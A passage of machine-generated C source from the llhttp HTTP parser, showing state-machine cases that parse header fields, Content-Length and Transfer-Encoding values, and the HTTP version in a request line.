  if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_connection;\n      }\n      switch (((*p) >= 'A' && (*p) <= 'Z' ? (*p | 0x20) : (*p))) {\n        case 9: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_connection;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_connection;\n        }\n        case 'c': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_connection_1;\n        }\n        case 'k': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_connection_2;\n        }\n        case 'u': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_connection_3;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_header_value_connection_token;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_error_17:\n    s_n_llhttp__internal__n_error_17: {\n      state->error = 0xb;\n      state->reason = \"Content-Length overflow\";\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_error;\n      return s_error;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_error_18:\n    s_n_llhttp__internal__n_error_18: {\n      state->error = 0xb;\n      state->reason = \"Invalid character in Content-Length\";\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_error;\n      return s_error;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_content_length_ws:\n    s_n_llhttp__internal__n_header_value_content_length_ws: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_content_length_ws;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_invoke_or_flags_15;\n        }\n        case 13: {\n          goto s_n_llhttp__internal__n_invoke_or_flags_15;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_content_length_ws;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_header_value_5;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_content_length:\n    s_n_llhttp__internal__n_header_value_content_length: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_content_length;\n      }\n      switch (*p) {\n        case '0': {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '1': {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '2': {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '3': {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '4': {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '5': {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '6': {\n          p++;\n          match = 6;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '7': {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '8': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        case '9': {\n          p++;\n          match = 9;\n          goto s_n_llhttp__internal__n_invoke_mul_add_content_length_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_header_value_content_length_ws;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_te_chunked_last:\n    s_n_llhttp__internal__n_header_value_te_chunked_last: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_te_chunked_last;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_7;\n        }\n        case 13: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_7;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_te_chunked_last;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_header_value_te_chunked;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_te_token_ows:\n    s_n_llhttp__internal__n_header_value_te_token_ows: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_te_token_ows;\n      }\n      switch (*p) {\n        case 9: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_te_token_ows;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_te_token_ows;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_header_value_te_chunked;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value:\n    s_n_llhttp__internal__n_header_value: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value;\n      }\n      #ifdef __SSE4_2__\n      if (endp - p >= 16) {\n        __m128i ranges;\n        __m128i input;\n        int avail;\n        int match_len;\n      \n        /* Load input */\n        input = _mm_loadu_si128((__m128i const*) p);\n        ranges = _mm_loadu_si128((__m128i const*) llparse_blob7);\n      \n        /* Find first character that does not match `ranges` */\n        match_len = _mm_cmpestri(ranges, 6,\n            input, 16,\n            _SIDD_UBYTE_OPS | _SIDD_CMP_RANGES |\n              _SIDD_NEGATIVE_POLARITY);\n      \n        if (match_len != 0) {\n          p += match_len;\n          goto s_n_llhttp__internal__n_header_value;\n        }\n        goto s_n_llhttp__internal__n_header_value_otherwise;\n      }\n      #endif  /* __SSE4_2__ */\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_header_value_otherwise;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_te_token:\n    s_n_llhttp__internal__n_header_value_te_token: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_te_token;\n      }\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_te_token;\n        }\n        case 2: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_te_token_ows;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_8;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_te_chunked:\n    s_n_llhttp__internal__n_header_value_te_chunked: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_te_chunked;\n      }\n      match_seq = llparse__match_sequence_to_lower_unsafe(state, p, endp, llparse_blob6, 7);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_te_chunked_last;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_value_te_chunked;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_header_value_te_token;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_header_value_1:\n    s_n_llhttp__internal__n_span_start_llhttp__on_header_value_1: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_header_value_1;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_header_value;\n      goto s_n_llhttp__internal__n_invoke_load_header_state_2;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_value_discard_ws:\n    s_n_llhttp__internal__n_header_value_discard_ws: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_value_discard_ws;\n      }\n      switch (*p) {\n        case 9: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_discard_ws;\n        }\n        case 10: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_discard_lws;\n        }\n        case 13: {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_discard_ws_almost_done;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_header_value_discard_ws;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_span_start_llhttp__on_header_value_1;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_invoke_llhttp__on_header_field_complete:\n    s_n_llhttp__internal__n_invoke_llhttp__on_header_field_complete: {\n      switch (llhttp__on_header_field_complete(state, p, endp)) {\n        default:\n          goto s_n_llhttp__internal__n_header_value_discard_ws;\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_general_otherwise:\n    s_n_llhttp__internal__n_header_field_general_otherwise: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_general_otherwise;\n      }\n      switch (*p) {\n        case ':': {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_header_field_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_19;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_general:\n    s_n_llhttp__internal__n_header_field_general: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0,\n        0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_general;\n      }\n      #ifdef __SSE4_2__\n      if (endp - p >= 16) {\n        __m128i ranges;\n        __m128i input;\n        int avail;\n        int match_len;\n      \n        /* Load input */\n        input = _mm_loadu_si128((__m128i const*) p);\n        ranges = _mm_loadu_si128((__m128i const*) llparse_blob8);\n      \n        /* Find first character that does not match `ranges` */\n        match_len = _mm_cmpestri(ranges, 16,\n            input, 16,\n            _SIDD_UBYTE_OPS | _SIDD_CMP_RANGES |\n              _SIDD_NEGATIVE_POLARITY);\n      \n        if (match_len != 0) {\n          p += match_len;\n          goto s_n_llhttp__internal__n_header_field_general;\n        }\n        ranges = _mm_loadu_si128((__m128i const*) llparse_blob9);\n      \n        /* Find first character that does not match `ranges` */\n        match_len = _mm_cmpestri(ranges, 2,\n            input, 16,\n            _SIDD_UBYTE_OPS | _SIDD_CMP_RANGES |\n              _SIDD_NEGATIVE_POLARITY);\n      \n        if (match_len != 0) {\n          p += match_len;\n          goto s_n_llhttp__internal__n_header_field_general;\n        }\n        goto s_n_llhttp__internal__n_header_field_general_otherwise;\n      }\n      #endif  /* __SSE4_2__ */\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_general;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_header_field_general_otherwise;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_colon:\n    s_n_llhttp__internal__n_header_field_colon: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_colon;\n      }\n      switch (*p) {\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_colon;\n        }\n        case ':': {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_header_field;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_9;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_3:\n    s_n_llhttp__internal__n_header_field_3: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_3;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob2, 6);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_store_header_state;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_field_3;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_10;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_4:\n    s_n_llhttp__internal__n_header_field_4: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_4;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob10, 10);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_store_header_state;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_field_4;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_10;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_2:\n    s_n_llhttp__internal__n_header_field_2: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_2;\n      }\n      switch (((*p) >= 'A' && (*p) <= 'Z' ? (*p | 0x20) : (*p))) {\n        case 'n': {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_3;\n        }\n        case 't': {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_4;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_10;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_1:\n    s_n_llhttp__internal__n_header_field_1: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_1;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob1, 2);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_2;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_field_1;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_10;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_5:\n    s_n_llhttp__internal__n_header_field_5: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_5;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob11, 15);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_store_header_state;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_field_5;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_10;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_6:\n    s_n_llhttp__internal__n_header_field_6: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_6;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob12, 16);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_store_header_state;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_field_6;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_10;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_7:\n    s_n_llhttp__internal__n_header_field_7: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_7;\n      }\n      match_seq = llparse__match_sequence_to_lower(state, p, endp, llparse_blob13, 6);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_store_header_state;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_header_field_7;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_10;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field:\n    s_n_llhttp__internal__n_header_field: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field;\n      }\n      switch (((*p) >= 'A' && (*p) <= 'Z' ? (*p | 0x20) : (*p))) {\n        case 'c': {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_1;\n        }\n        case 'p': {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_5;\n        }\n        case 't': {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_6;\n        }\n        case 'u': {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_7;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_update_header_state_10;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_header_field:\n    s_n_llhttp__internal__n_span_start_llhttp__on_header_field: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_header_field;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_header_field;\n      goto s_n_llhttp__internal__n_header_field;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_header_field_start:\n    s_n_llhttp__internal__n_header_field_start: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_header_field_start;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_headers_almost_done;\n        }\n        case 13: {\n          p++;\n          goto s_n_llhttp__internal__n_headers_almost_done;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_span_start_llhttp__on_header_field;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_skip_to_http09:\n    s_n_llhttp__internal__n_url_skip_to_http09: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_skip_to_http09;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_invoke_update_http_major;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_skip_lf_to_http09:\n    s_n_llhttp__internal__n_url_skip_lf_to_http09: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_skip_lf_to_http09;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob14, 2);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_update_http_major;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_url_skip_lf_to_http09;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_20;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_pri_upgrade:\n    s_n_llhttp__internal__n_req_pri_upgrade: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_pri_upgrade;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob16, 10);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_error_23;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_req_pri_upgrade;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_24;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_complete_1:\n    s_n_llhttp__internal__n_req_http_complete_1: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_http_complete_1;\n      }\n      switch (*p) {\n        case 10: {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_start;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_22;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_complete:\n    s_n_llhttp__internal__n_req_http_complete: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_http_complete;\n      }\n      switch (*p) {\n        case 10: {\n          p++;\n          goto s_n_llhttp__internal__n_header_field_start;\n        }\n        case 13: {\n          p++;\n          goto s_n_llhttp__internal__n_req_http_complete_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_22;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_minor:\n    s_n_llhttp__internal__n_req_http_minor: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_http_minor;\n      }\n      switch (*p) {\n        case '0': {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '1': {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '2': {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '3': {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '4': {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '5': {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '6': {\n          p++;\n          match = 6;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '7': {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '8': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        case '9': {\n          p++;\n          match = 9;\n          goto s_n_llhttp__internal__n_invoke_store_http_minor;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_25;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_dot:\n    s_n_llhttp__internal__n_req_http_dot: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_http_dot;\n      }\n      switch (*p) {\n        case '.': {\n          p++;\n          goto s_n_llhttp__internal__n_req_http_minor;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_26;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_major:\n    s_n_llhttp__internal__n_req_http_major: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_http_major;\n      }\n      switch (*p) {\n        case '0': {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '1': {\n          p++;\n          match = 1;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '2': {\n          p++;\n          match = 2;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '3': {\n          p++;\n          match = 3;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '4': {\n          p++;\n          match = 4;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '5': {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '6': {\n          p++;\n          match = 6;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '7': {\n          p++;\n          match = 7;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '8': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        case '9': {\n          p++;\n          match = 9;\n          goto s_n_llhttp__internal__n_invoke_store_http_major;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_27;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_start_1:\n    s_n_llhttp__internal__n_req_http_start_1: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_http_start_1;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob15, 4);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_load_method;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_req_http_start_1;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_30;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_start_2:\n    s_n_llhttp__internal__n_req_http_start_2: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_http_start_2;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob17, 3);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_load_method_2;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_req_http_start_2;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_30;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_start_3:\n    s_n_llhttp__internal__n_req_http_start_3: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return 